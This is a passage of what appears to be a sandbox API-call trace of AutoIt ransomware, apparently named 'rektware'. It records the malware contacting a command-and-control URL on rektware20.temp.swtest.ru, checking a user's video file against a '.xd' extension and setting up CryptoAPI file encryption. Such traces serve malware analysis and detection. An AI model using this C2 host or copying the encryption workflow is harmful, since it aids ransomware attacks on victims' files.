lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0066.229] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0066.229] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.229] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0066.230] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.230] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0066.230] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0066.230] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c) returned 1 [0066.230] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.230] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.230] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.230] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0066.231] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0066.231] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0066.231] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0066.231] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0066.231] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.231] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.231] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.231] CloseHandle (hObject=0x0) returned 0 [0066.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="afWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Wr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ajyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jyB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yB\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aWroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WroMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="roMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oMQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="MQtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Qtx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tx2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NoJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oJ1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yQ.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0066.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.234] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.234] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0066.234] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.234] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0066.234] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0066.234] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.234] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0066.234] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0066.234] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c) returned 1 [0066.234] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.234] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.234] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.235] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0066.235] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0066.235] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0066.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0066.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293c0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0066.235] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.236] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.236] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.236] CloseHandle (hObject=0x0) returned 0 [0066.236] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.236] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0066.236] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0066.236] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0066.237] TranslateMessage (lpMsg=0x130f164) returned 0 [0066.237] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0066.237] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0066.240] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0066.241] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0066.241] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.241] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.241] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.241] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.241] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.241] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.241] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0066.241] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.241] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.241] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0066.241] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.241] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.242] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.242] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.242] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.242] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0066.242] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0066.242] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0066.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0066.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0066.242] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0066.242] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9f00) returned 1 [0066.243] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.243] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.243] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0066.243] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.243] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.243] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.243] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.243] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.243] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.243] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 